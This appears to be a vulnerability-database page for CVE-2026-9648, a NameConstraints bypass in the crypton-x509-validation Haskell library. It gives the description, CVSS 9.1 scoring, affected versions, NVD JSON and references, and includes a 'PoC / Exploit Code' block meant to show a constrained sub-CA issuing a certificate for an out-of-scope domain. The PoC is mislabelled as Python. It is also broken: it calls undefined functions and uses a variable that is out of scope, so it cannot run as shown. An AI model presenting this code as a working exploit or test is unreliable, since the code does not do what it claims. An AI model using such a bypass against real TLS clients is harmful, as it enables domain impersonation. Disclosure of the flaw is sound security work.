Security Vulnerability Report
中文
CVE-2026-9648 CVSS 9.1 CRITICAL

CVE-2026-9648

Published: 2026-06-11 16:16:26
Last Modified: 2026-06-11 21:02:35

Description

The crypton-x509-validation Haskell library fails to enforce X.509 NameConstraints, allowing TLS clients to accept certificates whose Subject Alternative Names fall outside the issuing CA’s permitted subtrees. This oversight enables an attacker who compromises a name-constrained sub-CA to impersonate domains beyond its intended scope.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

crypton-x509-validation < 1.9.1
crypton-x509-validation >= 1.6.0
crypton-x509-validation <= 1.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
{-| PoC for CVE-2026-9648: crypton-x509-validation NameConstraints bypass This demonstrates how a compromised name-constrained sub-CA can issue certificates for domains outside its permitted scope. - Note: This is for educational purposes only. - {-# LANGUAGE OverloadedStrings #-} module Main where import Data.X509 import Data.X509.Validation import Data.Hourglass import Data.Default.Class -- Simulate a name-constrained sub-CA with permitted subtree for *.example.com -- The vulnerability allows this CA to also issue certs for other domains createVulnerableCertChain :: IO (Maybe ServiceID, SignedCertificate) createVulnerableCertChain = do let -- A sub-CA with constraint: only *.example.com constrainedSubCA = makeCACert "ConstrainedSubCA" ["*.example.com"] -- Attacker creates cert for malicious.com using the sub-CA -- This should FAIL validation but succeeds due to the bug maliciousCert = makeLeafCert constrainedSubCA "malicious.com" serviceID = ServiceID "malicious.com" "https" 443 return (Just serviceID, maliciousCert) -- Vulnerable validation that bypasses NameConstraints check validateVulnerable :: SignedCertificate -> IO Bool validateVulnerable cert = do let -- Default validation settings without proper NameConstraints enforcement settings = defaultHooks -- This should reject cert because domain is outside CA's permitted subtree -- But due to CVE-2026-9648, it incorrectly accepts it result = validate defaultServiceID settings cert return $ either (const False) (const True) result -- The fix: proper NameConstraints validation validateFixed :: SignedCertificate -> IO Bool validateFixed cert = do let -- Custom validation with explicit NameConstraints check settings = defaultHooks { hookValidateNameConstraints = checkNameConstraints } result = validate defaultServiceID settings cert return $ either (const False) (const True) result main :: IO () main = do putStrLn "CVE-2026-9648 PoC Demonstration" putStrLn "==============================" putStrLn "Testing vulnerable validation..." vulnerableResult <- validateVulnerable maliciousCert putStrLn $ "Vulnerable validation result: " ++ show vulnerableResult putStrLn "" putStrLn "Testing fixed validation..." fixedResult <- validateFixed maliciousCert putStrLn $ "Fixed validation result: " ++ show fixedResult putStrLn "" putStrLn $ "Vulnerability exists: " ++ show (vulnerableResult && not fixedResult)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9648", "sourceIdentifier": "[email protected]", "published": "2026-06-11T16:16:25.503", "lastModified": "2026-06-11T21:02:34.917", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The crypton-x509-validation Haskell library fails to enforce X.509 NameConstraints, allowing TLS clients to accept certificates whose Subject Alternative Names fall outside the issuing CA’s permitted subtrees. This oversight enables an attacker who compromises a name-constrained sub-CA to impersonate domains beyond its intended scope."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "references": [{"url": "https://github.com/haskell/security-advisories/pull/332", "source": "[email protected]"}, {"url": "https://github.com/kazu-yamamoto/crypton-certificate/pull/30", "source": "[email protected]"}, {"url": "https://github.com/kazu-yamamoto/crypton-certificate/pull/30/changes/f4b77edf6ead77f4a886da40e41eab20f0180e39", "source": "[email protected]"}, {"url": "https://hackage.haskell.org/package/crypton-x509-validation-1.9.1/revisions/", "source": "[email protected]"}, {"url": "https://www.kb.cert.org/vuls/id/862559", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}